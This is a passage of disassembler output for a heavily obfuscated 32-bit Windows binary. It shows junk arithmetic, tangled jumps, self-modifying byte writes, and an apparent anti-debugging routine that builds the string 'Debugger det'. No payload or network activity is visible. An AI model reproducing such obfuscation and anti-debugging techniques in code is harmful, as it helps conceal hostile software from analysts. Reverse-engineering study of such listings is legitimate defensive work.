; ---------------------------------------------------------------------------
		align 2
word_42FE22	dw 0F9F7h		; DATA XREF: sub_42ED87+4o
		dd 0FBA3800Fh, 0BB53FFFFh, 4300E7h, 0FFF9C3E9h,	0C30000FFh
		dd 55E90000h, 1
		db 0
; ---------------------------------------------------------------------------

locret_42FE41:				; CODE XREF: fzj3qwht:00430191j
		retn
; ---------------------------------------------------------------------------
		db 0
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42FA52


loc_42FE43:				; CODE XREF: fzj3qwht:loc_430130j
					; sub_42FA52+1EE4j
		jmp	loc_4320C3
; END OF FUNCTION CHUNK	FOR sub_42FA52
; ---------------------------------------------------------------------------
		db 0
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_147. PRESS KEYPAD	"+" TO EXPAND]
		align 4
		jmp	loc_42F1C9
; ---------------------------------------------------------------------------
		db 2 dup(0), 87h	; CODE XREF: fzj3qwht:004307A8p
; ---------------------------------------------------------------------------
		xor	al, 24h
		pop	esi
		call	ds:dword_42A0C0	; ExitProcess
		jmp	locret_43201D
; ---------------------------------------------------------------------------
		db 0
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_431410


loc_42FE63:				; CODE XREF: sub_431410+Ej
					; fzj3qwht:loc_431E94j
		lea	eax, dword_42E868+6
		call	sub_4322DA
		add	dh, al
		push	es
		pushf
		xchg	edx, [esp+8+var_8]
		mov	esi, edx
		pop	edx
		jmp	loc_4320F3
; END OF FUNCTION CHUNK	FOR sub_431410
; ---------------------------------------------------------------------------
		align 2
; START	OF FUNCTION CHUNK FOR sub_42F4AE


loc_42FE7E:				; CODE XREF: sub_42F4AE:loc_42F53Cj
		pop	edx
		sub	edx, 0D7453485h
		or	edx, 4464E393h
		js	near ptr dword_42EC68+26h
; END OF FUNCTION CHUNK	FOR sub_42F4AE
; ---------------------------------------------------------------------------
		db 2 dup(0), 1Bh
		dd 0E9FD8BF2h, 1064h
		db 0
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42FF32


loc_42FE9D:				; CODE XREF: sub_42FF32:loc_4326CEj
		mov	byte ptr [edx],	8Bh
		pop	edx
		add	eax, ebp
		add	eax, 20790CFAh
; END OF FUNCTION CHUNK	FOR sub_42FF32
; ---------------------------------------------------------------------------
		db 82h,	0
; [00000003 BYTES: COLLAPSED FUNCTION nullsub_138. PRESS KEYPAD	"+" TO EXPAND]
		dw 0FFEFh
; ---------------------------------------------------------------------------
		inc	dword ptr [eax]
		mov	ebx, [ecx]
		jmp	loc_430F45
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_431686


loc_42FEB9:				; CODE XREF: sub_431686-233Fj
		mov	byte ptr [ecx],	9Ch
		pop	ecx
		push	esi
		push	0CD222F4Eh
		pop	esi
		or	esi, 2FECD5AEh
		jmp	loc_43095D
; END OF FUNCTION CHUNK	FOR sub_431686
; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_42FED0	proc near		; CODE XREF: sub_431686:loc_43144Dp
		xchg	edx, [esp+0]
		pop	edx
		dec	dword ptr [ebp-10h]
		cmp	dword ptr [ebp-10h], 0
		jmp	near ptr dword_42EA44+0ACh
sub_42FED0	endp ; sp-analysis failed

; ---------------------------------------------------------------------------


loc_42FEE0:				; CODE XREF: fzj3qwht:0043264Fj
		push	offset loc_430092
		jmp	loc_432430
; ---------------------------------------------------------------------------
		align 4


loc_42FEEC:				; CODE XREF: fzj3qwht:00431F7Fj
		push	offset byte_42FA6D
		jmp	locret_430E95
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42EE90


loc_42FEF6:				; CODE XREF: sub_42EE90+4j
		xor	ebx, 9F2302C0h
		call	sub_42F4AE
; END OF FUNCTION CHUNK	FOR sub_42EE90
; ---------------------------------------------------------------------------
		db 2 dup(0), 50h

; =============== S U B	R O U T	I N E =======================================



sub_42FF04	proc near		; CODE XREF: fzj3qwht:004328DFp

; FUNCTION CHUNK AT 0043019F SIZE 00000005 BYTES

		xchg	edx, [esp+0]
		pop	edx
		pushf
		push	0A5760C23h
		pop	eax
		push	esi
		jmp	loc_43019F
sub_42FF04	endp

; ---------------------------------------------------------------------------
		db 87h,	0Ch, 24h
		dd 6C65F59h, 0F889E98Bh, 0C300FFFFh, 85E90000h,	22h, 0FFFC1AE9h
; ---------------------------------------------------------------------------
		inc	dword ptr [eax]

; =============== S U B	R O U T	I N E =======================================



sub_42FF32	proc near		; CODE XREF: fzj3qwht:loc_431270p
					; fzj3qwht:004316F7j

; FUNCTION CHUNK AT 0042FE9D SIZE 0000000C BYTES
; FUNCTION CHUNK AT 004326CE SIZE 00000005 BYTES

		xchg	edi, [esp+0]
		xchg	ebx, [esp+0]
		mov	edi, ebx
		pop	ebx
		jmp	loc_4326CE
sub_42FF32	endp ; sp-analysis failed

; [00000001 BYTES: COLLAPSED FUNCTION nullsub_146. PRESS KEYPAD	"+" TO EXPAND]
		db 2 dup(0), 0Fh
		dd 22E68Dh, 0FB850000h,	12FE9h
		db 2 dup(0)
; ---------------------------------------------------------------------------

locret_42FF52:				; CODE XREF: fzj3qwht:0042EE9Fj
		retn
; ---------------------------------------------------------------------------
		db 87h
		dd 0CB8B241Ch, 240C875Bh, 6859F18Bh, 4304B1h, 0FFEA79E9h
		db 0FFh, 2 dup(0)

; =============== S U B	R O U T	I N E =======================================



sub_42FF6B	proc near		; DATA XREF: sub_4316FE-1D87o

var_24		= dword	ptr -24h

; FUNCTION CHUNK AT 0042EFB2 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0042FD40 SIZE 0000000A BYTES
; FUNCTION CHUNK AT 00431630 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00432476 SIZE 0000000D BYTES

		add	esp, 0FFFFFFE0h
		push	edx
		mov	edx, esi
		xchg	edx, [esp+24h+var_24]
		jmp	loc_431630
sub_42FF6B	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		align 2
		retn
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_127. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_431167


loc_42FF7C:				; CODE XREF: sub_431167+16BFj
		jmp	nullsub_99
; END OF FUNCTION CHUNK	FOR sub_431167
; ---------------------------------------------------------------------------
		db 81h,	0C0h, 92h
		dd 5162EF0Ah, 0C87C88Bh, 0E91CE924h, 0FFFFh, 585BD38Bh
		dd 7710F081h, 0C881DA36h, 0B4728397h, 0D525F081h, 0C59EF60Dh
		dd 228AE951h
		db 2 dup(0)
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43098E


loc_42FFB2:				; CODE XREF: sub_43098E:loc_430513j
		call	sub_430218
; END OF FUNCTION CHUNK	FOR sub_43098E
; ---------------------------------------------------------------------------
		db 0
		dd 1698E900h, 0C3000000h, 0FA48E900h, 0EEE8FFFFh, 5, 0E90BEFC1h
		dd 0FFFFF349h, 0E9DA0300h, 1F5Ch
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_42FFDE:				; CODE XREF: fzj3qwht:0042ED34p
		xchg	ebx, [esp]
		pop	ebx
		add	eax, 680AA673h
		inc	ecx
		add	cl, ch
		fst	qword ptr [edi]
; ---------------------------------------------------------------------------
		db 3 dup(0)
		dd 0D8FB8100h, 0E9846517h, 0FFFFFF30h, 36E6DD81h, 0EE23B3C6h
					; CODE XREF: sub_431F38+35Aj
		dd 0DA4E9h, 0C3000000h
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42F4AE


loc_43000C:				; CODE XREF: sub_42F4AE+1ABBj
		jmp	nullsub_149
; END OF FUNCTION CHUNK	FOR sub_42F4AE

; =============== S U B	R O U T	I N E =======================================



sub_430011	proc near		; CODE XREF: fzj3qwht:loc_430198p
					; fzj3qwht:004317EEj
		xchg	esi, [esp+0]
		pop	esi
		add	edx, 30B98DAFh
		call	sub_43241A
		jmp	nullsub_142
sub_430011	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_431167


loc_430025:				; CODE XREF: sub_431167-2246j
		jmp	loc_43281C
; END OF FUNCTION CHUNK	FOR sub_431167
; ---------------------------------------------------------------------------
		dw 0C300h
; ---------------------------------------------------------------------------


loc_43002C:				; DATA XREF: sub_43060A+8o
		push	84B15035h
		pop	eax
		and	eax, 73D25872h
		test	eax, 100h
		jmp	loc_4321CF
; ---------------------------------------------------------------------------


loc_430043:				; CODE XREF: fzj3qwht:0042F9FFj
		call	loc_430274
		add	[ebx+30890055h], cl
		jmp	loc_430A01
; ---------------------------------------------------------------------------
		align 4
		dd 2F8F0F00h, 81000018h, 5AF787C8h, 26BDE9E1h, 0C30000h
		dd 5B241C87h, 2A916856h, 815E8091h, 0EFB36FCEh,	1C5EE93Fh
		dd 0
		dd 2347880Fh, 0CDC10000h, 9C1C10Dh, 0FFE88DE9h
; ---------------------------------------------------------------------------
		inc	dword ptr [eax]


loc_430092:				; DATA XREF: fzj3qwht:loc_42FEE0o
		push	ecx
		push	549F42E7h
		pop	esi
		sub	esi, 0CDB8736Dh
		test	esi, 10h
		jmp	loc_431B81
; ---------------------------------------------------------------------------
		align 4
		dd 7A8840Fh, 0CAE80000h, 14h, 31870F00h, 0E9000028h, 558h
		dd 0B993C381h, 8CE9F1D3h, 12h
		db 0
; ---------------------------------------------------------------------------


loc_4300D1:				; CODE XREF: fzj3qwht:0043133Bj
		or	eax, 9C3DC8D9h
		xor	eax, 3BB45026h
		add	eax, ebp
		add	eax, 7B366111h
		mov	eax, [eax]
		mov	cl, 54h
		add	eax, 0F8458BE0h
		mov	ecx, 0Ah
		jmp	loc_43018B
; ---------------------------------------------------------------------------
		dd 58D0000h, 4322E8h, 42F50F68h, 470E900h, 0
		dd 75E9C23Bh, 0FFFFEDh
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_149. PRESS KEYPAD	"+" TO EXPAND]
		db 2 dup(0), 87h
		dd 0B5E90055h, 14h
		db 0
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42F4AE


loc_430121:				; CODE XREF: sub_42F4AE+32C2j
		push	offset loc_4325F3
		jmp	nullsub_145
; END OF FUNCTION CHUNK	FOR sub_42F4AE
; ---------------------------------------------------------------------------
		align 4
		db 0
; ---------------------------------------------------------------------------

locret_43012D:				; CODE XREF: fzj3qwht:0042EFFCj
		retn
; ---------------------------------------------------------------------------
		align 10h


loc_430130:				; CODE XREF: fzj3qwht:0042F3C6j
		jbe	loc_42FE43
		cdq
		jmp	near ptr dword_42EB78+78h
; ---------------------------------------------------------------------------
		db 2 dup(0)
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_430C13


loc_43013E:				; CODE XREF: sub_430C13:loc_431C41j
		call	sub_430E46


loc_430143:				; DATA XREF: fzj3qwht:00430842o
		mov	edx, [eax]
		push	ebx
		push	4C281044h
		pop	ebx
		or	ebx, 0F0022C0Ch
		push	offset loc_430A2B
		jmp	nullsub_153
; END OF FUNCTION CHUNK	FOR sub_430C13
; ---------------------------------------------------------------------------
		dd 0EBE95B00h, 0Fh
		db 0
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4309EE


loc_430165:				; CODE XREF: sub_4309EE+Cj
		xchg	eax, [esp+0]
		mov	edx, offset byte_432013
		jmp	near ptr dword_42E8AC+32h
; END OF FUNCTION CHUNK	FOR sub_4309EE
; ---------------------------------------------------------------------------
		db 0
; ---------------------------------------------------------------------------


loc_430173:				; CODE XREF: fzj3qwht:loc_4313EBj
		pushf
		jmp	loc_43140E
; ---------------------------------------------------------------------------
		db 2 dup(0), 8Bh
		dd 58880F11h, 0E9000012h, 0FFFFE655h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_43018A:				; DATA XREF: sub_4301B7:loc_42FA8Fo
		popf


loc_43018B:				; CODE XREF: fzj3qwht:004300F3j
		cdq
		push	offset byte_432693
		jmp	locret_42FE41
; ---------------------------------------------------------------------------
		align 4


loc_430198:				; CODE XREF: fzj3qwht:loc_4326D5j
		call	sub_430011
; ---------------------------------------------------------------------------
		db 2 dup(0)
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42FF04


loc_43019F:				; CODE XREF: sub_42FF04+Cj
		jmp	near ptr dword_42EDF4+15h
; END OF FUNCTION CHUNK	FOR sub_42FF04
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_144. PRESS KEYPAD	"+" TO EXPAND]
		db 2 dup(0), 0E9h
		dd 0FFFFE6C0h

; =============== S U B	R O U T	I N E =======================================



sub_4301AC	proc near		; DATA XREF: fzj3qwht:0042EDBFo

; FUNCTION CHUNK AT 0042FC85 SIZE 00000006 BYTES
; FUNCTION CHUNK AT 00430C2F SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0043138D SIZE 0000000E BYTES
; FUNCTION CHUNK AT 004315EA SIZE 00000019 BYTES
; FUNCTION CHUNK AT 00431604 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00431CC5 SIZE 00000016 BYTES
; FUNCTION CHUNK AT 00431D68 SIZE 0000001C BYTES
; FUNCTION CHUNK AT 00431DA4 SIZE 0000002A BYTES

		push	ebx
		mov	ebx, offset byte_4308B9
		jmp	loc_431D68
sub_4301AC	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_4301B7	proc near		; DATA XREF: sub_42F4AE+116o

; FUNCTION CHUNK AT 0042EA10 SIZE 0000000E BYTES
; FUNCTION CHUNK AT 0042ED0A SIZE 0000001C BYTES
; FUNCTION CHUNK AT 0042FA8F SIZE 0000000A BYTES
; FUNCTION CHUNK AT 0042FC14 SIZE 0000000D BYTES
; FUNCTION CHUNK AT 00430EA7 SIZE 00000014 BYTES
; FUNCTION CHUNK AT 0043164B SIZE 0000000B BYTES
; FUNCTION CHUNK AT 004324AA SIZE 00000005 BYTES

		add	eax, 8C484A52h
		adc	[eax], eax


loc_4301BF:				; DATA XREF: fzj3qwht:0042EE31o
		nop
		push	0FAE3D3F1h
		pop	ecx
		and	ecx, 66372017h
		xor	ecx, 8104DBC0h
		jmp	loc_4324AA
sub_4301B7	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		align 4
		xchg	edi, [esp]
		pop	edi
		push	8A6E7AD1h
		pop	eax
		add	eax, 532825A8h
		call	sub_430A5C


loc_4301ED:				; CODE XREF: fzj3qwht:loc_431635j
		mov	byte ptr [edx],	8Ah
		pop	edx
		push	0C0640AD8h
		pop	eax
		or	eax, 0B2196807h
		jmp	loc_430A7B
; ---------------------------------------------------------------------------
		dw 487h
		dd 240C8724h, 8159C18Bh, 0E21961C0h, 0E9C50365h, 0FFFFF17Dh

; =============== S U B	R O U T	I N E =======================================



sub_430218	proc near		; CODE XREF: sub_43098E:loc_42FFB2p

arg_0		= dword	ptr  4

; FUNCTION CHUNK AT 004305FD SIZE 00000005 BYTES

		xchg	esi, [esp+0]
		pop	esi
		xchg	ebx, [esp-4+arg_0]
		mov	edx, ebx
		pop	ebx
		mov	dword ptr [ebp-81h], 75626544h
		mov	dword ptr [ebp-7Dh], 72656767h
		mov	dword ptr [ebp-79h], 74656420h
		jmp	loc_4305FD
sub_430218	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		align 10h
		dd 0E9007D8Bh, 0FFFFEE2Ch
; ---------------------------------------------------------------------------


loc_430248:				; CODE XREF: fzj3qwht:00431ECCj
		push	offset sub_43193B
		jmp	near ptr loc_431976+1
; ---------------------------------------------------------------------------
		retn
; ---------------------------------------------------------------------------
		align 4
dword_430254	dd 0FFE5B0E9h		; CODE XREF: fzj3qwht:00431ACEj
; ---------------------------------------------------------------------------
		inc	dword ptr [eax]


loc_43025A:				; CODE XREF: fzj3qwht:0042FA67j
		jmp	loc_4311A6
; ---------------------------------------------------------------------------
		align 10h
		jno	loc_42E8EE
		pop	eax
		jmp	sub_431686
; ---------------------------------------------------------------------------
		dd 8D0F0000h, 0D0Ah
; ---------------------------------------------------------------------------


loc_430274:				; CODE XREF: fzj3qwht:loc_430043p
		xchg	eax, [esp]
		pop	eax
		mov	byte ptr [eax],	87h
		pop	eax
		call	sub_4313F1
; ---------------------------------------------------------------------------
		db 2 dup(0), 0E9h
		dd 0FFFFF210h, 0ECFDE900h, 9C00FFFFh, 74454E68h, 0C0815816h
		dd 105B4972h, 0B710F081h, 0E957330Ch, 0FFFFEB23h
		db 0
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4312D7


loc_4302A9:				; CODE XREF: sub_4312D7:loc_42F7B5j
		pop	edi
		sub	eax, 698147CDh
		and	eax, 0E353CA1h
		xor	eax, 0E188CF2Dh
		jmp	loc_431B2E
; END OF FUNCTION CHUNK	FOR sub_4312D7
; ---------------------------------------------------------------------------
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_4302C3:				; CODE XREF: fzj3qwht:0042FC64j
		mov	eax, edx
		xchg	eax, [esp]
		push	ecx
		pop	edx
		xchg	edx, [esp]
		push	esi
		jmp	loc_432601
; ---------------------------------------------------------------------------
		align 4
		dd 9D685300h, 0E900430Fh, 21FDh
		db 0
; ---------------------------------------------------------------------------


loc_4302E1:				; CODE XREF: fzj3qwht:loc_432833j
		mov	byte ptr [esi],	0C3h
		pop	esi
		push	offset loc_432196
		jmp	near ptr byte_42F6BD+2
; ---------------------------------------------------------------------------
		push	ecx
		pushf
		jmp	sub_42F188
; ---------------------------------------------------------------------------
		align 4
; START	OF FUNCTION CHUNK FOR sub_4316FE


loc_4302F8:				; CODE XREF: sub_4316FE+10j
		mov	byte ptr [esi],	0FFh
		pop	esi
		popf
		xchg	edx, [esp-4+arg_0]
		jmp	loc_431965
; END OF FUNCTION CHUNK	FOR sub_4316FE
; ---------------------------------------------------------------------------
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_430307:				; CODE XREF: fzj3qwht:0042FB8Fj
		xchg	ecx, [esp]
		pop	ecx
		push	ecx
		mov	ecx, esi
		jmp	loc_4319D8
; ---------------------------------------------------------------------------
		retn
; ---------------------------------------------------------------------------
		db 0

; =============== S U B	R O U T	I N E =======================================



sub_430315	proc near		; CODE XREF: fzj3qwht:0042EA2Cj
					; sub_4301AC:loc_431D68p

arg_0		= dword	ptr  4

		xchg	esi, [esp+0]
		pop	esi
		mov	byte ptr [ebx],	8Dh
		xchg	eax, [esp-4+arg_0]
		jmp	loc_42F05F
sub_430315	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		dd 0FF9E800h, 0E9000000h, 0A39h, 0ED15E900h, 0FFFFh
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_431452


loc_430338:				; CODE XREF: sub_431452-EA5j
		jge	loc_4325F3
		jnp	loc_42FCE9
		add	edx, 0A12DD8FBh
		and	eax, 0EDF45F2Fh
		push	offset loc_432322
		jmp	nullsub_126
; END OF FUNCTION CHUNK	FOR sub_431452
; ---------------------------------------------------------------------------
		dw 6800h
; ---------------------------------------------------------------------------
		mov	ss, word ptr [edi]
		inc	ebx
		add	cl, ch
		nop
		idiv	bh


loc_430364:				; DATA XREF: fzj3qwht:loc_42F2E4o
		inc	dword ptr [edi-2DF6DBFCh]
		jz	loc_4311F5
		push	edx
		push	0DFA610CAh
		pop	edx
		jmp	loc_43108F
; ---------------------------------------------------------------------------
		dd 0AABA0000h, 0E90042FFh, 0FFFFFC3Eh ;	CODE XREF: fzj3qwht:loc_432061j
; ---------------------------------------------------------------------------
		retn
; ---------------------------------------------------------------------------
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_43038B:				; CODE XREF: fzj3qwht:0042FDC1j
		jmp	loc_430E18
; ---------------------------------------------------------------------------
		dd 7B680000h, 878B6225h, 0D78B243Ch, 179DE9h, 0C3000000h
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42FA52


loc_4303A4:				; CODE XREF: sub_42FA52+2680j
		mov	byte ptr [eax],	87h
		pop	eax
		and	ebx, 1F990EC4h
		add	ebx, 0E3AAFFBEh
		jmp	loc_43273D
; END OF FUNCTION CHUNK	FOR sub_42FA52
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_430F48


loc_4303B9:				; CODE XREF: sub_430F48:loc_4327D8j
		mov	byte ptr [edi],	0C3h
		xchg	esi, [esp+0]
		mov	edi, esi
		pop	esi
		push	edi
		jmp	loc_43167B
; END OF FUNCTION CHUNK	FOR sub_430F48
; ---------------------------------------------------------------------------
		call	sub_431F1F
		add	[ebx], cl
		std
		mov	edx, 3B8BEC23h
		jmp	sub_4312D7
; ---------------------------------------------------------------------------
		dw 0C600h
; ---------------------------------------------------------------------------
		add	ecx, [ebx+1A68535Bh]
		jns	short loc_430427
		db	67h
		pop	ebx
		jmp	loc_431C2C
; ---------------------------------------------------------------------------
		align 4


loc_4303EC:				; DATA XREF: sub_42F4AE:loc_4325E1o
		mov	byte ptr [ebx],	9Ch
		pop	ebx
		rol	eax, 2
		or	eax, 114A16D6h
		push	ecx
		push	34BF00EFh
		jmp	loc_42ED4C
; ---------------------------------------------------------------------------
		db 0
byte_430405	db 57h,	68h, 0BAh	; DATA XREF: sub_431452+35o
		dd 87D180A7h, 0FE8B2434h, 8CEF815Eh, 0E988D0A6h, 0FFFFF4FCh
		db 0

; =============== S U B	R O U T	I N E =======================================



sub_43041D	proc near		; CODE XREF: fzj3qwht:004316AEp

; FUNCTION CHUNK AT 0042F32C SIZE 0000000D BYTES
; FUNCTION CHUNK AT 0042F706 SIZE 00000014 BYTES
; FUNCTION CHUNK AT 0042F88A SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0042F922 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 004304E8 SIZE 00000023 BYTES
; FUNCTION CHUNK AT 0043083D SIZE 00000005 BYTES

		xchg	ebx, [esp+0]
		pop	ebx
		push	ebx
		push	1E1EC43Bh


loc_430427:				; CODE XREF: fzj3qwht:004303E2j
		pop	ebx
		jmp	loc_42F922
sub_43041D	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		db 2 dup(0)
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42F4AE


loc_43042F:				; CODE XREF: sub_42F4AE+93j
		mov	byte ptr [esi],	0Fh
		pop	esi
		add	edx, eax
		rol	edx, 3
		xor	edx, eax
		jmp	loc_43045A
; END OF FUNCTION CHUNK	FOR sub_42F4AE
; ---------------------------------------------------------------------------
		align 10h
		retn
; ---------------------------------------------------------------------------
		jmp	loc_432251
; ---------------------------------------------------------------------------
		dw 8700h
		dd 1AD1E9C7h, 0
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_431F1F


loc_430450:				; CODE XREF: sub_431F1F:loc_43080Bj
		push	offset dword_430790
		jmp	nullsub_152
; END OF FUNCTION CHUNK	FOR sub_431F1F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42F4AE


loc_43045A:				; CODE XREF: sub_42F4AE+F8Cj
		push	offset loc_42F14F
		jmp	nullsub_146
; END OF FUNCTION CHUNK	FOR sub_42F4AE
; ---------------------------------------------------------------------------
		dd 0CD030000h, 825FC181h, 189AA43h, 0F045F459h,	1BE2E9h
		db 3 dup(0)
byte_43047B	db 81h			; DATA XREF: sub_431AED-2C9Ao
		dd 734A9C0h, 1B3BE802h,	0E9000000h, 0FFFFED4Dh,	3537D381h
		dd 85E93DA8h
		db 10h,	2 dup(0)

; =============== S U B	R O U T	I N E =======================================



sub_430497	proc near		; CODE XREF: fzj3qwht:00431A82p
		xchg	edi, [esp+0]
		pop	edi
		xor	edx, 0E4959E5Ch
		add	edx, ebp
		push	esi
		push	0D5AABFF9h
		pop	esi
		jmp	near ptr loc_430BD0+1
sub_430497	endp

; ---------------------------------------------------------------------------
		align 10h
		dd 4FFC6800h, 8158D254h, 0E1F098E0h, 2E6850B5h,	5888F8C0h
		dd 0F844E881h, 9DE92CF7h, 0FFFFE4h
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42EFCF


loc_4304D0:				; CODE XREF: sub_42EFCF+1514j
					; sub_42EFCF+17B4j
		mov	byte ptr [esi],	0FFh
		call	sub_42F8A9


loc_4304D8:				; CODE XREF: sub_42FC3B+Dp
		add	[edi+0C872414h], al
		and	al, 8Bh
		rcr	dword ptr [ecx-17h], 1
		jle	short loc_4304D0
; END OF FUNCTION CHUNK	FOR sub_42EFCF
; ---------------------------------------------------------------------------
		db 2 dup(0FFh),	0
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43041D


loc_4304E8:				; CODE XREF: sub_43041D:loc_42F922j
		sub	ebx, 76D13B0h
		and	ebx, 0B208DA5Eh
		sub	ebx, 0A57C4284h
		and	ebx, 50F69E62h
		xor	ebx, 5CC2470Dh
		jmp	loc_42F88A
; END OF FUNCTION CHUNK	FOR sub_43041D
; ---------------------------------------------------------------------------
		align 4

locret_43050C:				; CODE XREF: fzj3qwht:loc_430AB0j
		retn
; ---------------------------------------------------------------------------


loc_43050D:				; CODE XREF: fzj3qwht:00430D94j
		jmp	loc_4316D6
; ---------------------------------------------------------------------------
		db 0
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43098E


loc_430513:				; CODE XREF: sub_43098E+20j
		jmp	loc_42FFB2
; END OF FUNCTION CHUNK	FOR sub_43098E
; ---------------------------------------------------------------------------
		dd 0DE5E900h, 0F000000h, 14F78Ch, 0E9EDD100h, 0FFFFEAC2h
		db 2 dup(0), 99h

; =============== S U B	R O U T	I N E =======================================



sub_43052F	proc near		; CODE XREF: sub_431F5F:loc_431971p

; FUNCTION CHUNK AT 0043058C SIZE 0000000B BYTES
; FUNCTION CHUNK AT 004308D6 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00431D1A SIZE 0000000B BYTES
; FUNCTION CHUNK AT 00431E31 SIZE 0000002A BYTES

		xchg	eax, [esp+0]
		pop	eax
		mov	edx, [eax]
		or	edx, edx
		jmp	loc_431E31
sub_43052F	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		dd 0FA810000h, 9B51C065h, 43DE9h, 0C8C10000h
		db 0Ch
byte_43054D	db 87h			; DATA XREF: fzj3qwht:0042E848w
		dw 2434h
byte_430550	db 5Eh			; DATA XREF: fzj3qwht:0042E84Fw
byte_430551	db 0Fh			; DATA XREF: fzj3qwht:0042E856w
		dw 4584h
		dd 52000001h, 52E9D38Bh, 0Fh, 241CF900h, 0FFF75FE9h, 0B56800FFh
		dd 68E4C0E9h, 42ED75h, 308E9h, 0C30000h, 0E95F2E87h, 0BE3h
		dd 36E9EF33h, 1Ah
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43052F


loc_43058C:				; CODE XREF: sub_43052F+1927j
		add	eax, 481A04D3h
		jmp	loc_4308D6
; END OF FUNCTION CHUNK	FOR sub_43052F
; ---------------------------------------------------------------------------
		align 4
; START	OF FUNCTION CHUNK FOR sub_431452


loc_430598:				; CODE XREF: sub_431452:loc_42EF52j
		call	sub_431C52
		add	[edi], cl
		test	[esi+0FFFFFDh],	ah
		xchg	ebx, ebp
		and	edx, 3E5C0832h
		jmp	loc_430338
; END OF FUNCTION CHUNK	FOR sub_431452
; ---------------------------------------------------------------------------
		dw 8100h
		dd 0F3D438C9h, 2404874Ah, 302C658h, 0E9241C87h,	0FFFFF872h
		dd 0C35D59h, 1CC5E900h,	51000000h, 0C875955h, 0B12E924h
		dd 81000000h, 7CF099E0h, 37F08167h, 81B4F1AAh, 0C1D9A4C0h
		dd 0E8C5037Eh, 220Ch, 2376E9h
		db 0
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_430218


loc_4305FD:				; CODE XREF: sub_430218+22j
		jmp	near ptr dword_42E9A4+51h
; END OF FUNCTION CHUNK	FOR sub_430218
; ---------------------------------------------------------------------------
		dw 8B00h
		dd 0F9D4E9CDh
		db 2 dup(0FFh)

; =============== S U B	R O U T	I N E =======================================



sub_43060A	proc near		; CODE XREF: fzj3qwht:loc_42F912p
		xchg	esi, [esp+0]
		pop	esi
		mov	byte ptr [ebx],	3
		pop	ebx
		push	offset loc_43002C
		jmp	nullsub_133
sub_43060A	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		dd 0FE188A0Fh, 0E98BFFFFh, 0C5E85A9Ch
		db 3 dup(0)
; ---------------------------------------------------------------------------


loc_43062B:				; CODE XREF: fzj3qwht:0042F1F1j
		jmp	loc_42ED28
; ---------------------------------------------------------------------------
		dd 0C28B5000h, 0BA240487h, 4318ECh, 0FFFC48E9h,	0F0000FFh
		dd 0FFFD0188h, 3C1C1FFh, 800C1F7h, 0F3E90000h, 8100001Dh
		dd 0F8D268C0h, 2F689DFFh, 0E9004328h, 21C4h
		db 0
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42F4AE


loc_430669:				; CODE XREF: sub_42F4AE+3Aj
		jz	near ptr loc_43287D+1
		xchg	edx, [esp-0Ch+arg_8]
		pop	edx
		add	edx, 0FB569FBFh
		mov	edx, [edx]
		popf
		push	edx
		jmp	loc_43243C
; END OF FUNCTION CHUNK	FOR sub_42F4AE
; ---------------------------------------------------------------------------
		dw 0C768h
		dd 0E9004309h, 0FFFFF304h, 0C300h, 0A92C081h, 36E962EFh
		dd 16h,	1202E8h, 240C8700h, 8B243487h, 10685ECEh, 0E9000020h
		dd 0FFFFE2D1h
; ---------------------------------------------------------------------------


loc_4306B4:				; CODE XREF: fzj3qwht:00432566j
		mov	byte ptr [ebx],	0FFh
		pop	ebx
		mov	[edx], al
		dec	dword ptr [ebp-10h]
